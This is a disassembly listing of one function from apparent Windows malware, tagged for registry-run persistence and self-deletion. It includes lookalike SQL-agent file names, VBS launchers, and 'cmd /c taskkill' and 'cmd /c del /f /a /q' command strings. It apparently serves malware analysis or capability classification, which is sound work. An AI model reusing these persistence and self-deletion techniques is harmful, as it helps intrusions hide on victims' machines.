Function at 0x4011e7
Capabilities:
Persist via run registry key
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
push 0x28
call fcn.00461db2
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
add ebx, 0x24
push ebx
push pe_nt_image_headers32
call fcn.00461db2
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x4f4938
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
push 0x2c
call fcn.00461db2
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xb
rep stosd dword es:[edi], eax
push 0x14
call fcn.00461db2
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
mov dword [ebx], 0x4f4940
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
jmp 0x4012c2
mov dword [ebp - 0x18], esp
push 0
push 2
mov eax, 0
call fcn.00461dac
cmp dword [ebp - 0x18], esp
je 0x4012eb
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 0x128
mov dword [ebp - 0x18], esp
mov eax, dword [ebp - 8]
push eax
push 0x124
call fcn.00461db2
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push dword [ebp - 4]
mov eax, 1
call fcn.00461dac
cmp dword [ebp - 0x18], esp
je 0x4013aa
push 6
call fcn.00461da6
add esp, 4
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov edi, dword [ebp - 0x20]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00461da0
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40143b
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x401439
imul eax, dword [edi]
jmp 0x40142e
mov ecx, eax
cmp ecx, 0x100
jle 0x401448
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.00461dbe
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4e99dc
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040d321
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x401511
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x401521
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4e99dc
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4015c9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d321
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401615
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x401625
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x18], eax
push 0x4e99dc
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4016bc
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d321
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401708
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x401718
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 0x18], esp
push str.das_SQLAGENTSWE.exe
push 0
push 0x1f0002
mov eax, 2
call fcn.00461dac
cmp dword [ebp - 0x18], esp
je 0x4017a0
push 6
call fcn.00461da6
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4017b7
push 0
call fcn.00461dd0
add esp, 4
mov dword [ebp - 0x18], esp
push str.das_SQLAGENTSWE.exe
push 0
push 0
push 0
mov eax, 3
call fcn.00461dac
cmp dword [ebp - 0x18], esp
je 0x4017ea
push 6
call fcn.00461da6
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x18], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401881
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401894
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4018b7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x18], eax
push 0x4e9a11
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40190c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40191f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401942
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.config.json
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401a02
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a15
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401a38
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.CPU_
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401a9e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401ab1
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401ad4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4e9a35
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401b3a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401b4d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401b70
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4e9a45
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401bd6
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401be9
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401c0c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.CPU_c.txt
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401c72
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401c85
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401ca8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.NVDIA_n.txt
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401d0e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401d21
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401d44
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4e9a6b
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401daa
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401dbd
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401de0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401e46
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401e59
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401e7c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x4e9a11
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401ee2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401ef5
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401f18
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.VBS.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401f7e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401f91
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x401fb4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSV.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40201a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40202d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402050
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTS.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4020b6
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4020c9
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4020ec
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.MicrosoftSQL.vbs
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402152
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x402165
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402188
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4021cf
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402216
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_wscript.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SQLAGENTSWD.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4022ab
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSWD.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402311
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x402324
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402347
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTSWD.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.SQLAGENTSWD.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4023fb
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40240e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402431
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402478
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskger.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4024f5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskger.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4025a8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40268b
push ebx
call fcn.00461dbe
add esp, 4
